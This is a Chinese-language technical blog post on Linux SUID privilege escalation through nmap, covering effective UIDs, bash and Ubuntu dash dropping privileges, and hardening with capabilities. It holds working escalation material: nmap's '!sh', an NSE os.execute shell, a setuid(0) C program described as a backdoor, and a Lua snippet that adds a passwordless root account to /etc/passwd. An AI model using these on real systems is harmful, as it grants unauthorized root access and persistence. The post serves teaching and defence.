51工具盒子

依楼听风雨
笑看云卷云舒,淡观潮起潮落

谈一谈Linux与suid提权

前几天我在代码审计知识星球里发表了一个介绍nmap利用interactive模式提权的帖子:

# 进入nmap的交互模式
nmap --interactive
# 执行sh,提权成功
!sh

但具体实施的时候会遇到很多有趣的问题,我们来详细研究一下。

suid提权 {#suid}

说到这个话题,我们不得不先介绍一下两个东西:

  • suid提权是什么
  • nmap为什么可以使用suid提权

通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。

ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid:

root@linux:~# ls -al /bin/ping
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping

suid全称是S et owner U ser ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。

设置了s位的程序在运行时,其Effective UID 将会设置为这个程序的所有者。比如,/bin/ping这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。

这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID:

  • Real UID 执行该进程的用户实际的UID
  • Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限)
  • Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨)

通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。

有的同学说某某程序只要有suid权限,就可以提权,这个说法其实是不准确的。只有这个程序的所有者是0号或其他super user,同时拥有suid权限,才可以提权。

nmap为什么可以用suid提权 {#nmapsuid}

常用nmap的同学就知道,如果你要进行UDP或TCP SYN扫描,需要有root权限:

$ nmap -sU target
You requested a scan type which requires root privileges.
QUITTING!
$ nmap -sS 127.0.0.1
You requested a scan type which requires root privileges.
QUITTING!

原因就是这些操作会用到Raw Socket。

有时候你不得不使用sudo来执行nmap,但在脚本调用nmap时sudo又需要tty,有可能还要输入密码,这个限制在很多情况下会造成一些不必要的麻烦。

所以,有一些管理员会给nmap加上suid权限,这样普通用户就可以随便运行nmap了。

当然,增加了s位的nmap是不安全的,我们可以利用nmap提权。在nmap 5.20以前存在interactive交互模式,我们可以通过这个模式来提权:

image.png

星球里@A11risefor*师傅提到,nmap 5.20以后可以通过加载自定义script的方式来执行命令:

补充一个,--interactive应该是比较老版本的nmap提供的选项,最近的nmap上都没有这个选项了,不过可以写一个nse脚本,内容为os.execute('/bin/sh'),然后nmap --script=shell.nse来提权

的确是一个非常及时的补充,因为现在大部分的nmap都是没有interactive交互模式了。

但经过测试我们发现,这个方法启动的shell似乎仍然是当前用户的,并没有我们想象中的提权。

Linux发行版与shell {#linuxshell}

我曾使用interactive模式提权成功,但是因为那个nmap版本过老,没有script支持,所以没法测试script的提权方法;同样,新的nmap支持script但又没有interactive模式,无法做直观对比,我只能先猜想提权失败的原因:

  • nmap在高版本中限制了suid权限
  • lua脚本中限制了suid权限
  • 新版Linux系统对子进程的suid权限进行了限制

这些猜想中变量太多,所以我需要控制一下。首先我阅读了老版本nmap的源码,发现其实!sh执行的就是很简单的system('sh'),而且前面并没用丢弃Effective UID权限的操作:

} else if (*myargv[0] == '!') {
    cptr = strchr(command, '!');
    system(cptr + 1);
}

那么我们将这个过程抽象成这么一个C程序suid.c

int main(int argc, char* argv[]) {
    return system(argv[1]);
}

编译,并赋予其suid权限:

root@linux:/tmp# gcc suid.c -o suid
root@linux:/tmp# chmod +s suid

接着我尝试在不同系统中,用www-data用户运行./suid id

| Linux发行版 | 输出结果 | |--------------|-----------------------------------------------------------------------------------------| | Ubuntu 14.04 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) | | Ubuntu 16.04 | uid=33(www-data) gid=33(www-data) groups=33(www-data) | | Ubuntu 18.04 | uid=33(www-data) gid=33(www-data) groups=33(www-data) | | CentOS 6 | uid=33(www-data) gid=33(www-data) groups=33(www-data) | | CentOS 8 | uid=33(www-data) gid=33(www-data) groups=33(www-data) | | Debian 6 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) | | Debian 8 | uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data) | | Kali 2019 | uid=33(www-data) gid=33(www-data) groups=33(www-data) |

可见,有些系统是root权限,有些系统仍然是原本用户权限。那么上面nmap提权失败的原因,就可以排除nmap的原因了。

同样,CentOS 6和Debian 6都是较老的发行版,但CentOS 6的表现却和新版Ubuntu类似,经过网上的询问和翻文档,得到了bash中的这么一段说明

If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS , BASHOPTS , CDPATH , and GLOBIGNORE variables, if they appear in the environment, are ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.

如果启动bash时的Effective UID与Real UID不相同,而且没有使用-p参数,则bash会将Effective UID还原成Real UID。

我们知道,Linux的system()函数实际上是执行的/bin/sh -c,而CentOS的/bin/sh是指向了/bin/bash

[root@localhost tmp]# ls -al /bin/sh 
lrwxrwxrwx. 1 root root 4 Apr 10  2017 /bin/sh -> bash

这就解释了为什么CentOS中suid程序执行id获得的结果仍然是www-data。假设我们此时将sh修改成dash,看看结果是什么:

[root@localhost tmp]# su -s /bin/bash nobody
bash-4.1$ ls -al /bin/sh 
lrwxrwxrwx. 1 root root 9 Feb 19 00:21 /bin/sh -> /bin/dash
bash-4.1$ ./suid id
uid=99(nobody) gid=99(nobody) euid=0(root) egid=0(root) groups=0(root),99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023

dash并没有限制Effective UID,这里可以看到成功获取了root权限。

Ubuntu的特殊处理 {#ubuntu}

但是,我们来看看Ubuntu 16.04,其/bin/sh指向的同样是dash:

$ ls -al /bin/sh
lrwxrwxrwx 1 root root 4 9月  18  2016 /bin/sh -> dash
$ ls -al /bin/dash 
-rwxr-xr-x 1 root root 154072 2月  17  2016 /bin/dash

为什么仍然会出现无法提权的情况?

此时我们又需要了解另一个知识了。通常来说,类似Ubuntu这样的发行版都会对一些程序进行修改,比如我们平时在查看PHP版本的时候,经常会看到这样的banner:PHP 7.0.33-0ubuntu0.16.04.11,在官方的版本号后会带上Ubuntu的一些版本号,这是因为Ubuntu发行版在打包这些软件时会增加一些自己的代码。

那么我们可以来看看Ubuntu 16.04源中dash目录:

image.png

下载其中的dash_0.5.8.orig.tar.gzdash_0.5.8-2.1ubuntu2.diff.gz并分别解压,我们可以看到dash 0.5.8的原始代码,和Ubuntu对其做的patch。

我们对原始代码进行patch后,会发现多了一个setprivileged函数:

void setprivileged(int on)
{
    static int is_privileged = 1;
    if (is_privileged == on)
        return;

    is_privileged = on;

    /*
     * To limit bogus system(3) or popen(3) calls in setuid binaries, require
     * -p flag to work in this situation.
     */
    if (!on && (uid != geteuid() || gid != getegid())) {
        setuid(uid);
        setgid(gid);
        /* PS1 might need to be changed accordingly. */
        choose_ps1();
    }
}

on的取值取决于用户是否传入了-p参数, 而uid和gid就是当前进程的Real UID(GID)。可见,在on为false,且Real UID 不等于Effective UID的情况下,这里重新设置了进程的UID:

setuid(uid)

setuid函数用于设置当前进程的Effective UID,如果当前进程是root权限或拥有CAP_SETUID权限,则Real UID和Saved UID将被一起设置。

所以,可以看出,Ubuntu发行版官方对dash进行了修改:当dash以suid权限运行、且没有指定-p选项时,将会丢弃suid权限,恢复当前用户权限。

这样以来,dash在suid的表现上就和bash相同了,这也就解释了为什么在Ubuntu 16.04以后,我们无法直接使用SUID+system()的方式来提权。

如何突破限制? {#_1}

同样的,你下载Debian 10最新的dash,也可以看到类似代码。那么,为什么各大发行版分分在sh中增加了这个限制呢?

我们可以将其理解为是Linux针对suid提权方式的一种遏制。因为通常来说,很多命令注入漏洞都是发生在system()popen()函数中的,而这些函数依赖于系统的/bin/sh。相比CentOS来说,Ubuntu和Debian中的sh一直都是dash,也就一直受到suid提权漏洞的影响。

一旦拥有suid的程序存在命令注入漏洞或其本身存在执行命令的功能,那么就有本地提权的风险,如果在sh中增加这个限制,提权的隐患就能被极大地遏制。

那么,如果我们就是要留一个具有suid的shell作为后门,我们应该怎么做?

将之前的suid.c做如下修改:

int main(int argc, char* argv[]) {
    setuid(0);
    system(argv[1]);
}

编译和执行,我们就可以发现,id命令输出的uid就是0了:

image.png

原因是我们将当前进程的Real UID也修改成了0,Real UID和Effective UID相等,在进入dash后就不会被降权了。

另一种方法,我们可以给dash或bash增加-p选项,让其不对shell降权。但这里要注意,我们不能再使用system函数了,因为system()内部执行的是/bin/sh -c,我们只能控制-c的参数值,无法给sh中增加-p选项。

这里我们可以使用execl或其他exec系列函数:

int main(int argc, char* argv[]) {
    return execl("/bin/sh", "sh", "-p", "-c", argv[1], (char *)0);
}

此时输出结果类似于Ubuntu 14.04里的结果,因为我给sh加了-p参数:

image.png

再回到我们最初的问题:那么具有suid权限的nmap在Ubuntu 18.04或类似系统中我们如何进行提权呢?

因为nmap script中使用的是lua语言,而lua库中似乎没有直接启动进程的方式,都会依赖系统shell,所以我们可能并不能直接通过执行shell的方式来提权。但是因为此时nmap已经是root权限,我们可以通过修改/etc/passwd的方式来添加一个新的super user:

local file = io.open("/etc/passwd", "a")
file:write("root2::0:0::/root:/bin/bash\n")
file:close()

成功提权:

image.png

如何让系统变得更安全 {#_2}

作为一个系统的运维人员,我们如何来防御类似的suid提权攻击呢?

当然我们需要先感谢Linux内核和Ubuntu和Debian等发行版的开发人员,他们也在慢慢帮我们不断提高系统的安全性和稳定性,但类似于nmap这样功能强大的软件,我们无法奢求一律Secure By Default,所以必须学习一些更有趣的知识。

Linux 2.2以后增加了capabilities的概念,可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题,我们可以在capabilities(7) - Linux manual page中看到这些特权的说明。

类似于ping和nmap这样的程序,他们其实只需要网络相关的特权即可。所以,如果你在Kali下查看ping命令的capabilities,你会看到一个cap_net_raw

$ ls -al /bin/ping
-rwxr-xr-x 1 root root 73496 Oct  5 22:34 /bin/ping
$ getcap /bin/ping
/bin/ping = cap_net_raw+ep

这就是为什么kali的ping命令无需设置setuid权限,却仍然可以以普通用户身份运行的原因。

同样,我们也可以给nmap增加类似的capabilities:

sudo setcap cap_net_raw,cap_net_admin,cap_net_bind_service+eip /usr/bin/nmap
nmap --privileged -sS 192.168.1.1

再次使用TCP SYN扫描时就不会出现权限错误的情况了:

image.png

赞(4)
未经允许不得转载:工具盒子 » 谈一谈Linux与suid提权